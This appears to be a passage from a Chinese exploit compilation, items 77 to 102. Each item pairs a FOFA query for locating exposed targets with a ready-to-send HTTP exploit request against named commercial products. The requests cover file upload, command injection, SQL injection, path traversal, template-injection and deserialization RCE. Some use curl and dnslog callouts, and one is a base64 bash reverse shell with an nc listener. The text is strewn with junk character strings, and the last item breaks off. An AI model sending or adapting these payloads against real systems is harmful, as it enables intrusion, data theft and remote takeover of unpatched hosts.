& S( T: g7 a8 y/ S0 Z; N, [# w
! h8 R! z+ k, T77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
3 P1 n: x" E& aConnection: close
/ H/ E! m$ ^3 y) \. `$ CContent-Length: 433
Accept: */*
; T) K9 F$ U/ }6 l$ A; p) H' nAccept-Encoding: gzip, deflate
. S- r$ B& k$ c$ L+ }5 l% IAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
0 O% M9 z1 C3 `1 R& o9 b& j
/upload/udplog
6 f; B- r9 p3 M+ |6 m2 s# x------------398jnjVTTlDVXHlE7yYnfwBoix
0 N; V) E) o3 y! ^+ `! X% VContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
3 M( B+ c8 q$ ~0 E! {% \  D
hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
% G$ ?* Q4 ^7 |3 M! ?: g! H# `Content-Disposition: form-data; name="Upload"
; i- C7 f  m7 y
& [1 q+ H- u& k9 |, w/ x" ?: |# LSubmit Query
! p/ a+ l- `$ {, F------------398jnjVTTlDVXHlE7yYnfwBoix--


# n: `. L& I  n6 c/ P$ L9 e78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
6 P& r! o; t  {  x) ~/ L$ {( ?POST /Platform/System/FileUpload.ashx HTTP/1.1
! K3 M* ^9 b+ F) S# b2 E7 FHost: x.x.x.x
( T) |& ^5 v6 ?6 o  k" i! ]& yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 Q: O5 G8 u, O8 H# {( v( p* v' lConnection: close
4 a# w/ v8 q1 _+ P5 L0 q+ xContent-Length: 336
3 N. R  {0 S! s; r/ y" s) E. MAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

( t4 j: W) p' n9 U6 R6 p------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

* A9 E& R* F" Z/ I" zYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
5 I& W$ X2 K" G! S1 t- }
0 b2 w: B8 G: m/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--


GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
  W; ?. f$ D2 s$ YHost: x.x.x.x


79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
8 n# m+ N% ?* T% L, q/ q2 N* PHost:IP
5 r. x; q8 t: U+ aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
7 O4 D2 R* u* b0 eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' p3 Q1 ^* k) d+ v, DAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
4 ~+ t+ m; ~( t+ N% h! YFOFA：app="速达软件-公司产品"
" n, O' s& j1 [# h0 ?6 E- VPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
( m0 `* h+ K8 g, `5 h8 d7 tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 }8 I7 w; @( e5 l8 S# i5 `Content-Length: 27
) I3 `; M9 X8 e7 j$ m& o  WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
0 D7 }4 B- P+ x5 B; vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ x+ z+ `+ l( S( K/ VConnection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
7 ~: ?% z8 M# f; u6 a
8 Q' Y' X' }! v<% out.print("oessqeonylzaf");%>


% O  ?+ _8 w$ q- L9 ?. oGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! `/ {0 N# k- E7 wConnection: close
Accept-Encoding: gzip

2 [) h4 [; Z8 _+ w! C$ y0 i
4 o: l) f* ?& P% U81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
" c+ _4 T6 [& {FOFA：app="uniview-视频监控"
# e4 n! C$ u; N! {, U# e* nGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( |) U4 C$ ?* C( {3 [' |6 UConnection: close
* ]/ b' z1 v* `# y' |, }Accept-Encoding: gzip
! t  W8 o# ?& R0 K/ Z( X! z# w
; q! V; I9 v) n( R% u* j
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
! p7 [" o' r  \FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
' }- F0 q. z: x8 Y' t$ x' EUser-Agent: Go-http-client/1.1
Content-Length: 23
. H- W0 u6 H4 _; pAccept-Encoding: gzip
Connection: close
: a% V4 j. x% [7 Z0 r4 ?- c5 ~Content-Type: application/x-www-form-urlencoded
: d! s& {4 H* D4 \! VReferer: BaseURL

z1=1&z2="|id;"&z3=bhost
6 G( t1 t5 T9 V7 c& @/ [
, Z, M' m) J$ p4 l" w9 F% T/ C# L1 b
83. JeecgBoot testConnection 远程命令执行
$ O! k6 O1 R8 p# o/ l6 SFOFA：title=="JeecgBoot 企业级低代码平台"
3 ^7 W. u1 W) N$ g5 g- g

POST /jmreport/testConnection HTTP/1.1
+ {/ W$ I) W; v; I- AHost: x.x.x.x
: f. z- [4 B' T$ e- i9 K& SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 a6 @4 i: `+ hConnection: close
Content-Length: 8881
5 R! K! v. `" z" i3 Z8 ~Accept-Encoding: gzip
( F; g3 w- |0 }  yCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

, j6 g4 B4 C  t$ U. APAYLOAD

1 s$ V1 u& `% D% K84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"

; y$ z6 a7 m$ ~5 _5 P
; Q) a; }  I/ a5 m
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
+ k) ?  [; L- _, s2 gHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
7 O4 P+ b! {  [& R( O0 k4 m' ]/ LContent-Length: 156
/ y. ]3 U' b. }1 `; I9 T1 q' tAccept: */*
4 C& B" L  b2 _0 h6 x6 c9 ^Connection: close
+ z8 s  h+ q0 f8 o" D0 Y, xContent-Type: application/json
Accept-Encoding: gzip
0 F0 l! t5 e) F) j4 S# r: d
( c* a) b7 ^1 T+ _{
$ g8 b$ ?7 s1 F( O/ I$ V* ` "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
8 x3 m! W% y  P3 ?. v4 A  "type": "0"
}

! s( l3 E, o* B
9 n' c3 Y6 p2 h" A* c1 l85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
* _) l$ j; V8 {9 s$ d+ V
  j" @8 s- N6 y+ O1 \0 y+ Z4 wPAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp
6 o3 O; m" E) t2 u1 N# E
86. 日本tosei自助洗衣机RCE
  [; b/ K# f, v- Y+ d9 R% _* FFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
) u) v, b4 @% e, Z3 jContent-Length: 44
Accept: */*
) ]+ ~7 A) F8 c5 |7 uAccept-Encoding: gzip
. Q% ?! f4 E; G2 A, \- K1 u5 l# ZAccept-Language: en
Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping


87. 安恒明御安全网关aaa_local_web_preview文件上传
1 X; {( p& `/ W$ m5 KFOFA：title="明御安全网关"
, r$ R, b2 l: XPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
/ R) _4 m  O2 G  k. m, w$ w; }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
Accept-Encoding: gzip
; ^; A& T! k! y+ Y# }Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
& W5 y# n1 L5 k  @1 N- z
: P# j+ u3 g4 Y--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
8 O9 m; F) G+ W! I# R3 y, M
9 Z; L+ H2 J& q" g6 g2ZqGNnsjzzU2GBBPyd8AIA7QlDq
3 Y- o( s. O, A& }- X--qqobiandqgawlxodfiisporjwravxtvd--
' L, z  W% U2 w0 Q8 _$ `* Q# J4 G

/jfhatuwe.php

  d1 Y4 b2 t0 R) O' @6 y, u, a88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
  |. @5 `9 H, b2 ^) A. D$ `3 B# h; IHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( K+ R- b' U% F+ g! e5 f; yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ W% D) P9 U# W  \; X% l& H* ?/ jAccept-Encoding: gzip, deflate
( @1 @0 W3 q" }0 EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: ]! N# t2 k7 M( I1 v. sConnection: close
7 `0 ?& v1 C- l; S9 l, _7 i

/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
0 N4 E& l* S+ e9 e: LPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
2 t: Z  k! @3 s7 t+ r  iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- X+ x( N7 I' \Connection: close
, @% o" T. @5 R/ c% |6 t- {Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
* F& y/ m* V( T; H( G! p
! \4 }- r: U# x% y' b/ foption=2&GUID=-1'+union+select+111*222--+


90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
% U3 u. g1 x/ [FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
3 r8 U4 \, A/ tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
) w5 s/ d) q' Y' a4 c1 QContent-Length: 51
* H* P! t- K( J2 g* iAccept: application/json, text/javascript, */*; q=0.01
% r' l  G4 N0 b1 e4 dAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 h* ^" z7 |" k9 aConnection: close
# G. M  z+ Q- X$ vContent-Type: application/x-www-form-urlencoded
) o4 q# z- x0 N. r/ m9 gX-Requested-With: XMLHttpRequest

0 y! a* m/ }6 O% v$ C2 Cjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


+ S8 X" w% e% M$ R91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
$ C; X5 Z( k" c. JFOFA：title="综合安防管理平台"
: G% P/ }' P7 \; HGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
- l4 o4 l1 I7 w1 T2 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
) ?3 }# x" Z! [; k9 L/ @Accept-Encoding: gzip, deflate
2 I0 R4 r3 W6 a4 @5 [Accept: */*
! l! H: h7 U* `% c( yConnection: keep-alive


5 W8 i& i& H: l" R- m' \2 \$ x
8 n& C; W: A7 H! q( h, |92. 海康威视运行管理中心session命令执行
Fastjson命令执行
# P7 J. C9 [8 r' Z6 \# _hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
4 k" l$ M! o! V5 r2 [POST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
: e% }% X; t. q+ sAccept-Encoding: gzip, deflate
8 `( d+ Y0 @0 |2 s  b9 z- M1 BX-Requested-With: XMLHttpRequest
9 G& P  q0 C: yContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
/ R5 q4 V# }0 t$ T* GTestcmd: echo test
6 R! X7 S3 `3 s; R8 J  J" B0 yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
, m; {" `! Y; W4 s5 P4 O8 x6 MAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
: N% _  O: e  {; B* B
PAYLOAD
+ F, l% z% |- M4 ~# q
  G. g* ?% j& o+ p* s& T1 G
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
; I. A9 n% s6 E1 n1 y# `9 k$ i2 MContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. j1 U) M$ d8 r2 Z# m
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

" N6 t$ K9 f( i; e: {$ R0 {10000000
& V* `4 C7 S9 c------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
) `! d2 ?) g4 J- ~: S# `Content-Type: text/plain
8 C3 |) v8 s, u  M0 t) R& K
wagletqrkwrddkthtulxsqrphulnknxa
, ^, H, n; `' Z6 T7 f) ^------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

' i; o& f& W  U( \obj_app_upfile
1 p+ t1 o, f5 a3 O------WebKitFormBoundarykcbkgdfx
$ t' c! s. P# N3 b# m; T) r2 wContent-Disposition: form-data; name="__hash__"
3 u4 v6 \% j1 ^9 U
8 t; e3 @& M. _5 p3 }2 C9 H0b9d6b1ab7479ab69d9f71b05e0e9445
. ]5 v1 z. F3 e8 s3 {3 F; P9 f------WebKitFormBoundarykcbkgdfx--

, N- \( n: e" b( H& Z3 ~0 G! ^, d, b
GET /attachements/xlskxknxa.txt HTTP/1.1
5 E( E2 t6 h, ?7 n9 f( X1 A) jHost: xx.xx.xx.xx
" @( T/ t0 c# f, I' c  }0 `User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

# z  y$ s+ v% K. t, r
' Q" ^4 e5 H8 a94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
, ~$ i2 A; [$ p! X; `FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
5 C' U# J% B9 I, M' j3 qPOST /?g=obj_area_import_save HTTP/1.1
3 [7 f2 ~7 L* [, h  `: P2 U8 WHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
4 O4 u  x" e( H; ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
1 J5 T* x. |9 X
------WebKitFormBoundarybqvzqvmt
/ A* d6 f7 Z2 h( ]# EContent-Disposition: form-data; name="MAX_FILE_SIZE"
, v: A. U3 c& A& ~
10000000
------WebKitFormBoundarybqvzqvmt
9 q: F& u9 S- B( \5 W3 tContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
( k3 E1 n* Z& U# Y
4 B, F- d/ e- x4 k/ X1 A9 B: Vpxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
8 R6 l6 ^7 u2 J4 i% ~Content-Disposition: form-data; name="submit_post"
4 B7 v& w5 U/ T$ B8 k3 e+ d  Z. m6 ]
" Z. A  _' h" h3 |8 U. ?  \  Kobj_app_upfile
' K5 j: T* j! d( Y, {------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
/ {4 K! @: D5 a4 H7 P

* P1 N$ D0 y( f& c" V$ a" M) m
- w% X, ~9 S" j8 S% J5 ZGET /attachements/xlskxknxa.txt HTTP/1.1
. m* k1 s2 \7 R& p* `4 @Host: xx.xx.xx.xx
6 |- I- h' b" d$ E7 lUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

. O0 q9 j2 {% q) N; }' P8 c

& G- ?0 M# S+ X95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
4 q0 c: M5 b  B/ r9 W  bCVE-2023-49070
( Z6 C# ]4 @6 B8 U$ z9 RFOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
6 F* a/ E( i% V& W) _8 EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
  n0 e7 N1 K/ x, wConnection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
/ }* N  M! L* h      <param>
. u- J6 m# [2 S      <value>
        <struct>
       <member>
9 n' B% h5 |2 x7 f3 U6 m          <name>test</name>
          <value>
3 m  _1 R; p9 ~( Z5 m1 m1 U% }% W      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
      </value>
1 ^4 J3 U6 t: [& g8 K+ D9 y: Q    </param>
- a) Y, I" Y: }4 S& ~4 B    </params>
</methodCall>


用ysoserial生成payload
( k3 y" ?4 }; X" zjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

- ]+ @, R, `2 W% c- i8 p9 x" n
% U* X* W3 m  Q0 G# s将生成的payload替换到上面的POC
! ^9 z1 ^: z1 GPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
) p$ f# S& P3 nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
/ O+ a% ?" f+ [: gConnection: close
Content-Length: 889
4 K( F5 P2 z4 d$ Z/ jContent-Type: application/xml
Accept-Encoding: gzip

PAYLOAD
1 d4 g! P4 }$ {6 k
- q2 a) V1 j5 F" U5 J96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
. f! m. M" J5 f0 ^6 C" tPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
; r$ Y7 n7 D- d1 j: Z4 A! |Host: localhost:8443
8 G8 N8 w* d% s: r, l! }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
* [# M% G9 o* J+ C7 ^' ]: GAccept: */*
' a, _2 x. T- s9 ^: qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
$ }4 E' F  e* H. F9 hContent-Length: 55
3 H3 q$ y  c( o6 m* I
1 |3 B$ \* x5 G3 [& v# F0 UgroovyProgram=throw+new+Exception('id'.execute().text);
  A+ @6 M1 u- Q0 G* ]6 r$ U
; j' c+ r4 S$ u$ y2 `
, J7 J' x3 M; u! A. ]; E: D反弹shell
在kali上启动一个监听
nc -lvp 7777

* ?! _* B2 k5 _POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
2 @7 Z# a1 X0 K7 e0 pHost: 192.168.40.130:8443
* v8 @# v% \  t# J$ lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
- @! |- O5 y& S( O+ ^: Z2 \Content-Length: 71

9 y& S" x; B9 X' ~* }$ P. KgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( s2 |2 A. P, W* qAccept-Encoding: gzip
  B+ C; f( |4 N5 z* K3 G* ~9 V" u9 rConnection: close
( S- Q3 `- n* A) R1 \; F( u& T: vCookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
1 V# X9 x/ w) q( q9 `' ~
2 Q. k. J8 R: l
98. SpiderFlow爬虫平台远程命令执行
/ i* \- s) X- {CVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
# A# U( b# n5 ~0 [, f) VConnection: close
8 c, O: S0 H8 D$ V# D6 a+ DContent-Length: 121
! j7 z. \. v0 u' \Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- P9 v  A1 f) S& z2 ?. mContent-Type: application/x-www-form-urlencoded; charset=UTF-8
; W' V! q( M# P. G5 D8 h8 wX-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

# D" p9 d/ V  X' V6 ^0 E
/ v2 g; j3 s3 s1 T2 }. }/ _99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
- @1 U0 C: u/ X) s2 s/ r: q" CFOFA：app="Ncast-产品" && title=="高清智能录播系统"
! A: C; K$ z! C4 oPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
5 ]% E" R8 b. b3 ?# N. ZAccept: */*
7 W! C/ |0 M9 `- d+ ~& x' n# N# d$ G: GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
: \$ Z8 E% b6 B( P
+ f9 Y# G! b1 _+ I9 [/ }. w# K7 H%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
' b2 B$ x$ |* _% F) f. n

+ z5 r' Y4 G7 Z. i" r8 n100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
4 A+ Y# j, ^# DFOFA：icon_hash="874152924"
9 s* J% f( h: b. ~$ C/ yPOST /api/file/formimage HTTP/1.1
0 ]9 d% A. f) t, ^0 g2 x2 PHost: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
8 Q: q5 i% C) GConnection: close
5 h" o6 E+ J& W8 J% q4 NContent-Length: 201
- h$ ?2 `2 |! {* A5 V2 C% QContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
6 Z9 H& g; ~. tAccept-Encoding: gzip

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
5 n' b" r8 h9 ]* u------WebKitFormBoundarygcflwtei--

$ J  q: `5 N7 `  L. b  `
101. ivanti policy secure-22.6命令注入
; T" ^" X& [$ w& p& }+ K1 WCVE-2024-21887
, G, {3 {% z; w: [- [% M( [. `$ xFOFA：body="welcome.cgi?p=logo"
. @$ D4 O; ?, E$ hGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
; _" I) m$ g) a0 H# \! ~  E: ^Host: x.x.x.xx.x.x.x
+ v$ s( G6 g! V4 j9 T. b( I: ~, U* |User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip


: t! Q6 O" F+ p: {102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
: C' r/ s, J% W7 v8 ~CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
% |$ O" B8 V3 kPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
6 S% _- s- ?& I! D  K$ pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
. `5 s: E: a' `2 FConnection: close
- w% ?7 w: {+ [4 h( V2 LContent-Length: 792
Accept-Encoding: gzip

